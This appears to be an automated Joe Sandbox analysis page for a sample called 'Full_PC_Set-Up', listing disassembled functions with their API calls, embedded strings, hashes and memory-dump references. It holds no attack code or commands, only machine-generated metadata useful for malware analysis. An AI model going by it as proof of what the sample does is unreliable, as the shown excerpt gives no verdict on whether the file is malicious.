Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Window$Object$CreateFontIndirectLongMessageRectSendStock$ClientInvalidateRedraw
String ID: P^)u
API String ID: 693800987-3896691036
Opcode ID: 7f396c4fdc0d0a4a54190cd8b99433615c07bca65f250b9598cb7305f4f02256
Instruction ID: 34864f2b806f95c99e77c55ae2f4b7a7c4cf0b0d8075b4cb9d81a19ab10e114d
Opcode Fuzzy Hash: 7f396c4fdc0d0a4a54190cd8b99433615c07bca65f250b9598cb7305f4f02256
Instruction Fuzzy Hash: D761A171210701ABDB24EF64CC85FAA73E8BF88710F148669F9599B2D6DB74EC048B91

Function 0040E670 Relevance: 19.5, APIs: 2, Strings: 9, Instructions: 293COMMON

Download Yara Rule

APIs

__snprintf.LIBCMT ref: 0040E93D
__snprintf.LIBCMT ref: 0040E9EE

Strings

Not enough memory for text., xrefs: 0040E979
Not enough memory to decompress chunk.., xrefs: 0040E7AE
Error decoding compressed text, xrefs: 0040E84E, 0040E8DB
Buffer error in compressed datastream in %s chunk, xrefs: 0040E902
Not enough memory to decompress chunk., xrefs: 0040E737
Incomplete compressed datastream in %s chunk, xrefs: 0040E931
Not enough memory to decompress chunk, xrefs: 0040E893
Data error in compressed datastream in %s chunk, xrefs: 0040E91C
Unknown zTXt compression type %d, xrefs: 0040E9E2

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: __snprintf
String ID: Buffer error in compressed datastream in %s chunk$Data error in compressed datastream in %s chunk$Error decoding compressed text$Incomplete compressed datastream in %s chunk$Not enough memory for text.$Not enough memory to decompress chunk$Not enough memory to decompress chunk.$Not enough memory to decompress chunk..$Unknown zTXt compression type %d
API String ID: 2633826957-1349257056
Opcode ID: 707198f7df35df4f4afbf19d76771eff0e83323116a87985902574fdac3ea6b1
Instruction ID: 0ccd632a1c840244b9e0dbd46f3a85e5cb6a4e276f597172c02b401d19acec9d
Opcode Fuzzy Hash: 707198f7df35df4f4afbf19d76771eff0e83323116a87985902574fdac3ea6b1
Instruction Fuzzy Hash: 50A1E5719007019FD321EB65CC81FABB7E9AF85304F004D2EF59A97381EB78B91587A6

Function 002E5180 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 288COMMON

Download Yara Rule

APIs

Part of subcall function 0036BFC6: __EH_prolog3.LIBCMT ref: 0036BFCD
Part of subcall function 0036BFC6: BeginPaint.USER32(?,?,00000004,002979AC,?,5EBD7D5F), ref: 0036BFF9

GetClientRect.USER32(?,?), ref: 002E51DE
IsRectEmpty.USER32(?), ref: 002E5208

Part of subcall function 002C0330: GdipGetImageWidth.GDIPLUS(?,00000000,?,002E563D,?,?,?,?), ref: 002C0341

GdipGetImageGraphicsContext.GDIPLUS(?,00000001,?,?), ref: 002E53D0

Part of subcall function 002A4310: GdipGetImageHeight.GDIPLUS(?,00000000,?,002E5636,?,?,?,?), ref: 002A4321

GdipGraphicsClear.GDIPLUS(00000001,000000FF,?,00000001,?,?), ref: 002E53E4
GdipCreateImageAttributes.GDIPLUS(?,?,?,?,00000001,000000FF,?,00000001,?,?), ref: 002E5445
GdipDrawImageI.GDIPLUS(?,?,00000000,00000000,?,?,002F97E0,?,?,?,?,00000001,000000FF,?,00000001,?), ref: 002E5482
GdipDisposeImageAttributes.GDIPLUS(?,?,?,00000000,00000000,?,?,002F97E0,?,?,?,?,00000001,000000FF,?,00000001), ref: 002E548C
GdipDeleteGraphics.GDIPLUS(?,?,?,?,00000000,00000000,?,?,002F97E0,?,?,?,?,00000001,000000FF,?), ref: 002E5496
GdipDisposeImage.GDIPLUS(?,?,?,?,?,00000000,00000000,?,?,002F97E0,?,?,?,?,00000001,000000FF), ref: 002E549C
GdipDeleteGraphics.GDIPLUS(?,?,?,?,?,?,00000000,00000000,?,?,002F97E0,?,?,?,?,00000001), ref: 002E54A2

Strings

Courier New, xrefs: 002E54D6

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Gdip$Image$Graphics$AttributesDeleteDisposeRect$BeginClearClientContextCreateDrawEmptyH_prolog3HeightPaintWidth
String ID: Courier New
API String ID: 1290335010-2572734833
Opcode ID: 42e1c5f1f85bd9079a8885ee7262dfda4405e36c35f78b472f92d0a6abbacaf3
Instruction ID: a2d9b9295a84a17063c2ae34ae6d5400efc4443575f442a4d02526acec2f815b
Opcode Fuzzy Hash: 42e1c5f1f85bd9079a8885ee7262dfda4405e36c35f78b472f92d0a6abbacaf3
Instruction Fuzzy Hash: 9DC122716183429FC700EF29C984A5BBBE4FF88704F504E5DF895A7295E730E929CB92

Function 002D0B20 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 267windowCOMMON

Download Yara Rule

APIs

LockWindowUpdate.USER32(?), ref: 002D0B94
SendMessageW.USER32(?,000000B1,000000FF,000000FF), ref: 002D0CD2
SendMessageW.USER32(?,000000C2,00000000,?), ref: 002D0CE7

Part of subcall function 0036A957: __CxxThrowException@8.LIBCMT ref: 0036A96D

SendMessageW.USER32(?,000000B1,000000FF,000000FF), ref: 002D0D25
SendMessageW.USER32(?,000000B7,00000000,00000000), ref: 002D0D37
SendMessageW.USER32(?,000000C2,00000000,?), ref: 002D0D4C
LockWindowUpdate.USER32(00000000), ref: 002D0D50
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 002D0D66
SendMessageW.USER32(?,000000B7,00000000,00000000), ref: 002D0D78

Strings

0x%08x: , xrefs: 002D0BB4
%08x , xrefs: 002D0BD2

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: MessageSend$LockUpdateWindow$Exception@8Throw
String ID: %08x $0x%08x:
API String ID: 932822024-2217826123
Opcode ID: 8fac294cdef5e277127ea0ce6d2d8897202ab30ac7faf87fe0120c021e0338e4
Instruction ID: ba04e9bfc4a7b2554a4f4e73904e45826cb58a91a6502d425fb4c1d9dc7fe4a5
Opcode Fuzzy Hash: 8fac294cdef5e277127ea0ce6d2d8897202ab30ac7faf87fe0120c021e0338e4
Instruction Fuzzy Hash: 7C917A316143019FD714DF28C885F5AB7E5EF89B24F108A5AF9A5AB3E1C771EC018B92

Function 002D16C0 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209windowstringCOMMON

Download Yara Rule

APIs

RedrawWindow.USER32(?,00000000,00000000,00000105,5EBD7D5F,?,?,?,?,004D1FD1,000000FF), ref: 002D171D

Part of subcall function 002D38B0: RedrawWindow.USER32(?,00000000,00000000,00000105), ref: 002D3934

Part of subcall function 002D3830: _memset.LIBCMT ref: 002D384E
Part of subcall function 002D3830: SendMessageW.USER32(?,00000031,00000000,00000000), ref: 002D3860
Part of subcall function 002D3830: GetObjectW.GDI32(?,0000005C), ref: 002D3876

GetModuleFileNameW.KERNEL32(00000000,?,00000104,00000001,?,?,?,?,004D1FD1,000000FF), ref: 002D173D

Part of subcall function 002D2A20: _memset.LIBCMT ref: 002D2A2E
Part of subcall function 002D2A20: lstrcpynW.KERNEL32(?,?,0000040F), ref: 002D2A46
Part of subcall function 002D2A20: _memset.LIBCMT ref: 002D2A8A
Part of subcall function 002D2A20: _memset.LIBCMT ref: 002D2A9C
Part of subcall function 002D2A20: _memset.LIBCMT ref: 002D2AAE

_memset.LIBCMT ref: 002D1788
lstrcpynW.KERNEL32(?,?,000003E5), ref: 002D17A5
ExtractIconW.SHELL32(?,?,00000000), ref: 002D187A
SendMessageW.USER32(?,000000C5,00020000,00000000), ref: 002D18BB
GetSysColor.USER32(0000000D), ref: 002D18E0
IsWindow.USER32(?), ref: 002D18F3
InvalidateRect.USER32(?,00000000,00000001), ref: 002D1907
SendMessageW.USER32(?,00000401,00000000,00000000), ref: 002D1927

Strings

%s has encountered a problem and needs to close. We are sorry for the inconvenience., xrefs: 002D1834

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset$MessageSendWindow$Redrawlstrcpyn$ColorExtractFileIconInvalidateModuleNameObjectRect
String ID: %s has encountered a problem and needs to close. We are sorry for the inconvenience.
API String ID: 416729780-3056136387
Opcode ID: 2926036d2b9f2c33ef4e4f126e99d19577d51f7b8730a34e7624cd73283a32a0
Instruction ID: 511e69199b87ac97daf4564c96ebe0d0a1078c717a33bd2579f5357ff83ba280
Opcode Fuzzy Hash: 2926036d2b9f2c33ef4e4f126e99d19577d51f7b8730a34e7624cd73283a32a0
Instruction Fuzzy Hash: 5481B171604742AFD724DF68CC85BDAB3E8BF89314F004A1EF55AD7291DB70A824CB92

Function 0030D2B0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 117fileCOMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 0030D2DC

Part of subcall function 003836E6: __vswprintf_s_l.LIBCMT ref: 003836FA

_memset.LIBCMT ref: 0030D2F9
_memset.LIBCMT ref: 0030D310
_wcsrchr.LIBCMT ref: 0030D318
_wcsrchr.LIBCMT ref: 0030D346
swprintf.LIBCMT ref: 0030D3D1
CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000001,00000080,00000000), ref: 0030D3EC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0030D3F0
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000), ref: 0030D409

Strings

%s\%s, xrefs: 0030D2D1
%s_%03d%s, xrefs: 0030D3C6

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset_wcsrchrswprintf$CloseCreateErrorFileHandleLast__vswprintf_s_l
String ID: %s\%s$%s_%03d%s
API String ID: 3594216466-2375057478
Opcode ID: 955bd7cc48b58df650e2895aa4c123a1f9126ae1d79fd531c07b7943115e4fee
Instruction ID: 0adf4846a2cacaa03dc2856cbd0215e05217c8382b8f3386c940e0961536f278
Opcode Fuzzy Hash: 955bd7cc48b58df650e2895aa4c123a1f9126ae1d79fd531c07b7943115e4fee
Instruction Fuzzy Hash: EA3108B16053007BE225B774DC46FEF73C8AFC4B10F008A69B7899A1C1EAF56645836B

Function 003A89A0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 211COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003A89EF
CreateCompatibleDC.GDI32(00000000), ref: 003A8A0A
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 003A8A42
_malloc.LIBCMT ref: 003A8A5D
_malloc.LIBCMT ref: 003A8A75
_memcpy_s.LIBCMT ref: 003A8A94
GetDIBits.GDI32(?,?,00000000,?,00000000,00000000,00000000), ref: 003A8AAB

Strings

(, xrefs: 003A89FA

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: Bits_malloc$CompatibleCreate_memcpy_s_memset
String ID: (
API String ID: 3484947801-3887548279
Opcode ID: 8c847d6c5af9fd9a9956408fb43692285d43c87f60b008ccbf66ae5037116a53
Instruction ID: c3c1641c0868b7785c78937d81441e7e5f3aa00f1bc2891280471f9f7746cd5a
Opcode Fuzzy Hash: 8c847d6c5af9fd9a9956408fb43692285d43c87f60b008ccbf66ae5037116a53
Instruction Fuzzy Hash: CF61D8B1A00709ABD702DF94CC85FAFB7B9FF45710F244129F905AB241EB74AA15CBA1

Function 0030F640 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(?,00070050,00000000,00000000,00000000,000030C0,?,00000000), ref: 0030F6B7
GetLastError.KERNEL32(?,00000000,?,?,?,5EBD7D5F,?,00000000), ref: 0030F6CB
GetLastError.KERNEL32(?,00000000,?,?,?,5EBD7D5F,?,00000000), ref: 0030F6DA
DeviceIoControl.KERNEL32(?,0007400C,00000000,00000000,00000000,000030C0,?,00000000), ref: 0030F731
GetLastError.KERNEL32(?,?,?,?,?,00000000,?,?,?,5EBD7D5F,?,00000000), ref: 0030F745
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0030F76F

Strings

IOCTL_DISK_GET_DRIVE_LAYOUT_EX GetLastError %d, xrefs: 0030F6DD
IOCTL_DISK_GET_DRIVE_LAYOUT GetLastError %d, xrefs: 0030F7C9

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: ErrorLast$ControlDevice$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: IOCTL_DISK_GET_DRIVE_LAYOUT GetLastError %d$IOCTL_DISK_GET_DRIVE_LAYOUT_EX GetLastError %d
API String ID: 415742872-4272227649
Opcode ID: ed7be3062ca21b1a994cbae152f7440841b20bcc7f879d6ab8f3d291790752db
Instruction ID: 8dbe1a5feeebe92a8475776d292bd48a1502036265d5db33694aead477092b3d
Opcode Fuzzy Hash: ed7be3062ca21b1a994cbae152f7440841b20bcc7f879d6ab8f3d291790752db
Instruction Fuzzy Hash: D651C6B19453049FD322EF14DC81A5FB7E8FF84710F14493EF84597641E63AA9058BA3

Function 004B8460 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 185COMMON

Download Yara Rule

APIs

Part of subcall function 00361C78: _malloc.LIBCMT ref: 00361C96

_memset.LIBCMT ref: 004B84FA
_memset.LIBCMT ref: 004B851F
_memset.LIBCMT ref: 004B8548
_strlen.LIBCMT ref: 004B856A
swprintf.LIBCMT ref: 004B8599
swprintf.LIBCMT ref: 004B85BF

Part of subcall function 003829DD: __vsprintf_s_l.LIBCMT ref: 003829F1

_strlen.LIBCMT ref: 004B85CE

Strings

%s %s, xrefs: 004B85B1
, xrefs: 004B8486
%s %s %s, xrefs: 004B858B

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID: _memset$_strlenswprintf$__vsprintf_s_l_malloc
String ID: $%s %s$%s %s %s
API String ID: 3915134568-245523274
Opcode ID: f0a4b6c09a9cd4269dd4c45856aa622b1ada3c8ddf059f7b4f2cc3a9b5090ef7
Instruction ID: addd2c2939114260bc892855451e6218ebb1028a577fa87dfbfd177e63dfb1ec
Opcode Fuzzy Hash: f0a4b6c09a9cd4269dd4c45856aa622b1ada3c8ddf059f7b4f2cc3a9b5090ef7
Instruction Fuzzy Hash: 31811774D00A18DFDB24DB54CC85BEFB7B8AB48306F1081DED509AA281EB746E84CF65

Function 004101F0 Relevance: 17.7, APIs: 1, Strings: 9, Instructions: 157COMMON

Download Yara Rule

Strings

Missing IHDR before sRGB, xrefs: 004101FC
incorrect gamma=(%d/100000), xrefs: 004102FE
Unknown sRGB intent, xrefs: 004102B5
Incorrect sRGB chunk length, xrefs: 00410272
Duplicate sRGB chunk, xrefs: 0041024C
Ignoring incorrect cHRM value when sRGB is also present, xrefs: 004103C6
Ignoring incorrect gAMA value when sRGB is also present, xrefs: 004102E9
Out of place sRGB chunk, xrefs: 0041022C
Invalid sRGB after IDAT, xrefs: 0041020D

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876524092.0000000000581000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876540562.000000000060F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000721000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.0000000000798000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009F5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876571899.00000000009FA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_290000_Full_PC_Set-Up.jbxd

Similarity

API ID:
String ID: Duplicate sRGB chunk$Ignoring incorrect cHRM value when sRGB is also present$Ignoring incorrect gAMA value when sRGB is also present$Incorrect sRGB chunk length$Invalid sRGB after IDAT$Missing IHDR before sRGB$Out of place sRGB chunk$Unknown sRGB intent$incorrect gamma=(%d/100000)
API String ID: 0-1854797742
Opcode ID: 0839b3cb7ca4a7409b69a196f239c9f6a7af690c6536fae8d007ae950ba704ba
Instruction ID: e2bf5bd5780821dd28ed1e112a71387c746d536149d29278e5ce27bd91bc5d7d
Opcode Fuzzy Hash: 0839b3cb7ca4a7409b69a196f239c9f6a7af690c6536fae8d007ae950ba704ba
Instruction Fuzzy Hash: AC41E37150560427E321A21AE9C6AFF6294EB55B0CF540D2FFC94E22C2D7ECBDD0929A

Function 002D5480 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 142registrylibrarywindowCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 002D54C7
GetWindowsDirectoryW.KERNEL32(00000010,00000104,?,?,00000000,004C3928,000000FF,002D4EB8,?,00000000), ref: 002D5535
_wcsnlen.LIBCMT ref: 002D5540
LoadLibraryW.KERNEL32(?,\winhlp32.exe), ref: 002D5571
LoadCursorW.USER32(00000000,0000006A), ref: 002D5580
CopyIcon.USER32(00000000), ref: 002D5587
FreeLibrary.KERNEL32(00000000), ref: 002D5594
RegQueryValueW.ADVAPI32 ref: 002D5613
RegCloseKey.ADVAPI32(75295DD0), ref: 002D5633

Strings

\winhlp32.exe, xrefs: 002D555E

Memory Dump Source

Source File: 00000000.00000002.1876279632.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true

Associated: 00000000.00000002.1876258324.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876438795.00000000004DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876493681.000000000057E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876509334.0000000000580000.00000004.00000001.01000000.00000003.sdmpDownload File
